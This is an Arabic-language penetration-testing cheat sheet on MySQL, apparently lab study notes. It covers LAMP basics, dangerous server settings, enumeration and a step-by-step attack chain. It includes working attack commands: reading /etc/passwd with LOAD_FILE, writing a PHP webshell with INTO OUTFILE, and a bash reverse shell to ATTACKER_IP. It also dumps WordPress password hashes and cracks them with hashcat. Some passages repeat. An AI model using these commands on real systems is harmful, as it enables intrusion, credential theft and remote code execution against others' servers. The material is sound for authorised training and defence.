نظرة عامة
ما هو MySQL؟
قاعدة بيانات علائقية مفتوحة المصدر تديرها Oracle. تخزن البيانات في جداول مترابطة. تخدم آلاف المستخدمين بنفس الوقت بسرعة عالية. أساس معظم المواقع الديناميكية.
🏗️ LAMP Stack
L = Linux — نظام التشغيل
A = Apache — Web Server
M = MySQL — Database
P = PHP — Programming Language
LEMP = نفس الشيء بس Nginx بدل Apache
🔄 كيف يشتغل مع WordPress
المستخدم يفتح الموقع
↓
Apache يستقبل الطلب
↓
PHP يسأل MySQL عن البيانات
↓
MySQL يرجع البيانات ✅
💰 ما تحتويه قاعدة البيانات
🎯 بيانات حساسة
passwords (hashed أو plain text!)
emails + usernames
credit card numbers
API keys + tokens
session tokens
emails + usernames
credit card numbers
API keys + tokens
session tokens
📋 بيانات الموقع
مقالات + تعليقات
إعدادات الموقع
صلاحيات المستخدمين
templates + themes
plugins settings
إعدادات الموقع
صلاحيات المستخدمين
templates + themes
plugins settings
💀 passwords ممكن تكون plain text! المطورون الكسلانون ما يشفرونها.
🔗 MariaDB
MariaDB = fork من MySQL. المطور الأصلي لـ MySQL خرج من الشركة بعد استحواذ Oracle وطور MariaDB. كلاهما متوافق تقريباً — نفس الأوامر تشتغل على الاثنين.
💡 لو شفت MariaDB في الـ scan — نفس أوامر MySQL تشتغل 🎯
الإعدادات
ملف الإعداد الافتراضي
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'
[mysqld]
user = mysql
port = 3306
basedir = /usr
datadir = /var/lib/mysql
socket = /var/run/mysqld/mysqld.sock
pid-file = /var/run/mysqld/mysqld.pid
skip-host-cache
skip-name-resolve
💡 datadir = /var/lib/mysql — هنا تُخزن قواعد البيانات على الـ disk
Dangerous Settings
⚠️ الإعدادات الخطيرة
| الإعداد | الخطر |
|---|---|
| user = root | MySQL يشتغل كـ root = صلاحيات كاملة على النظام! |
| password = P@ss (plain text) | باسورد في الـ config بدون تشفير |
| admin_address = 0.0.0.0 | MySQL مكشوف من أي IP! |
| debug = ON | أخطاء SQL تظهر للمستخدم = كشف بنية البيانات |
| sql_warnings = ON | تحذيرات تكشف معلومات حساسة |
| secure_file_priv = "" | قراءة/كتابة أي ملف على السيرفر! 💀 |
💀 debug = ON — كيف يستغله المهاجم
بدون debug:
المستخدم يدخل SQL injection
→ "An error occurred. Please try again."
← المهاجم ما يعرف إيش صار ❌
→ "An error occurred. Please try again."
← المهاجم ما يعرف إيش صار ❌
مع debug = ON:
نفس الـ input
→ "ERROR 1064: near 'admin' OR '1'='1'
Query: SELECT * FROM users WHERE username=..."
← يكشف: اسم الجدول، الـ columns، كيف تكتب الـ query 🎯
→ "ERROR 1064: near 'admin' OR '1'='1'
Query: SELECT * FROM users WHERE username=..."
← يكشف: اسم الجدول، الـ columns، كيف تكتب الـ query 🎯
💀 secure_file_priv = "" — قراءة وكتابة الملفات
هجوم 1 — قراءة ملفات النظام:
SELECT LOAD_FILE('/etc/passwd');
root:x:0:0:root:/root:/bin/bash
mysql:x:111:114::/var/lib/mysql:/bin/false
admin:x:1001:1001::/home/admin:/bin/bash ← usernames!
هجوم 2 — كتابة Webshell:
SELECT "<?php system($_GET['cmd']); ?>"
INTO OUTFILE '/var/www/html/shell.php';
# بعدها:
http://TARGET/shell.php?cmd=whoami
www-data
http://TARGET/shell.php?cmd=bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
← Reverse Shell! 💥
💀 debug + secure_file_priv = "" → SQL Injection + File Write = RCE كامل!
SQL Commands
🔌 الاتصال بـ MySQL
# اتصال عادي:
mysql -u root -pP4SSw0rd -h 10.129.14.128
# بدون باسورد (تحقق):
mysql -u root -h 10.129.14.128
ERROR 1045: Access denied (using password: NO) ← عنده باسورد
Welcome to the MariaDB monitor.
MySQL [(none)]>
⚠️ ما في مسافة بين -p والباسورد! -pP4SSw0rd صح، -p P4SSw0rd غلط
📋 الأوامر الأساسية
| الأمر | الوظيفة |
|---|---|
| show databases; | عرض كل قواعد البيانات |
| use wordpress; | اختيار قاعدة بيانات |
| show tables; | عرض كل الجداول |
| show columns from wp_users; | عرض أعمدة جدول معين |
| select * from wp_users; | عرض كل البيانات |
| select user_login, user_pass from wp_users; | عرض أعمدة محددة |
| select * from wp_users where user_login = "admin"; | بحث عن قيمة |
| select version(); | إصدار MySQL |
🗄️ information_schema — كنز المعلومات
قاعدة بيانات خاصة تحتوي metadata عن كل قواعد البيانات الأخرى:
# شوف كل الجداول في WordPress:
SELECT table_name FROM information_schema.tables
WHERE table_schema = 'wordpress';
wp_users ← 🎯 الأهم
wp_posts
wp_options
wp_usermeta
# شوف كل databases:
SELECT schema_name FROM information_schema.schemata;
# صلاحيات المستخدمين:
SELECT * FROM information_schema.user_privileges;
💡 information_schema = خريطة كاملة لكل قواعد البيانات على السيرفر!
💥 مثال كامل — سرقة WordPress credentials
mysql -u root -pP4SSw0rd -h 10.129.14.128
show databases;
| wordpress | ← هدفنا
use wordpress;
show tables;
| wp_users | ← 🎯
show columns from wp_users;
| ID |
| user_login | ← username
| user_pass | ← password hash
| user_email |
select user_login, user_pass from wp_users;
| admin | $P$B7eFMNDNmjEHMUGpMnRbKSdI2JuMl0. |
| john | $P$BZlxAMnC6ON.PYTjb2bFMprMu/CLGT1 |
# كسر الـ hash:
hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt
$P$B7eFMN...:P@ssw0rd123 ← كُسر! 🎯
الأدوات
اختر الأداة:
Nmap
mysql client
hashcat
🔍 Nmap على MySQL
sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.27
| mysql-empty-password:
|_ root account has empty password ← ممكن false positive!
| mysql-enum:
| Valid usernames:
| root, admin, web, user, test
| mysql-info:
| Version: 8.0.27-0ubuntu0.20.04.1
| Auth Plugin: caching_sha2_password
⚠️ دايماً تحقق يدوياً! Nmap ممكن يعطي false positives على MySQL
التحقق اليدوي:
mysql -u root -h 10.129.14.128
ERROR 1045: Access denied ← false positive! عنده باسورد فعلاً
mysql -u root -pP4SSw0rd -h 10.129.14.128
Welcome to MySQL! ← صح ✅
🗄️ mysql client — الاتصال المباشر
# الاتصال:
mysql -u <user> -p<password> -h <IP>
# أمثلة:
mysql -u root -h 10.129.14.128 # بدون باسورد
mysql -u root -pP4SSw0rd -h 10.129.14.128 # مع باسورد
mysql -u admin -p -h 10.129.14.128 # يسأل عن الباسورد تفاعلياً
💡 -p بدون مسافة قبل الباسورد — هاد مهم!
🔓 hashcat — كسر الـ Hashes
# WordPress MD5 hash (mode 400):
hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt
# MySQL hash (mode 300):
hashcat -m 300 hash.txt /usr/share/wordlists/rockyou.txt
# SHA-256 (mode 1400):
hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
💡 تعرف نوع الـ hash:
$P$B... = WordPress MD5 → mode 400
*4ACFE3202A5FF5CF467898FC58AAB1D615029441 = MySQL → mode 300
$2y$... = bcrypt → mode 3200
$P$B... = WordPress MD5 → mode 400
*4ACFE3202A5FF5CF467898FC58AAB1D615029441 = MySQL → mode 300
$2y$... = bcrypt → mode 3200
Methodology
⛓️ خطوات الـ MySQL Footprinting
1
Nmap Scan
اكتشاف MySQL + إصدار + usernames محتملة
sudo nmap -sV -sC -p3306 --script mysql* TARGET
⚠️ تحقق يدوياً من نتائج Nmap — false positives شائعة!
2
محاولة الاتصال
جرب credentials شائعة أو اللي حصلت عليها
mysql -u root -h TARGET # بدون باسورد
mysql -u root -proot -h TARGET # root:root
mysql -u root -p -h TARGET # تفاعلي
3
Enumerate Databases
شوف كل قواعد البيانات وحدد الهدف
show databases;
use wordpress; ← أو أي database مهم
show tables;
4
سرقة Credentials
استخرج usernames وpasswords
show columns from wp_users;
select user_login, user_pass from wp_users;
🎯 ابحث عن: wp_users, users, accounts, admins
5
تحقق من File Operations
لو secure_file_priv = "" → اقرأ /etc/passwd أو اكتب webshell
SELECT LOAD_FILE('/etc/passwd');
SELECT ""
INTO OUTFILE '/var/www/html/shell.php';
⛓️ Attack Chain
Nmap
Port 3306
→
Connect
mysql client
→
Enumerate
databases/tables
→
Steal Hashes
wp_users
→
RCE
webshell
Explained — Q&A
🌐 الأساسيات
إيش الفرق بين MySQL وExcel؟
Excel = ملف واحد على جهازك، شخص واحد، بطيء. MySQL = سيرفر يخدم آلاف المستخدمين بنفس الوقت، ملايين السجلات بسرعة، SQL queries قوية، علاقات بين الجداول.
ليش information_schema مهم في الـ pentest؟
لأنه يحتوي metadata عن كل قواعد البيانات — أسماء كل الجداول والأعمدة وصلاحيات المستخدمين. بدل ما تخمن، تسأل information_schema "وين الـ users table؟" وهو يخبرك مباشرة.
⚠️ Dangerous Settings
ليش secure_file_priv = "" أخطر إعداد؟
لأنه يجمع بين قراءة الملفات (LOAD_FILE → /etc/passwd) وكتابتها (INTO OUTFILE → webshell). لو عندك SQL Injection + secure_file_priv فارغ = تكتب webshell مباشرة على الـ web server = RCE كامل!
ليش Nmap ممكن يعطي false positive على MySQL؟
بعض الـ NSE scripts تختبر بطريقة غير دقيقة. مثلاً mysql-empty-password ممكن يقول "root بدون باسورد" بس لما تتصل يدوياً يرجع Access denied. دايماً تحقق يدوياً قبل ما تبني خطتك على نتائج Nmap.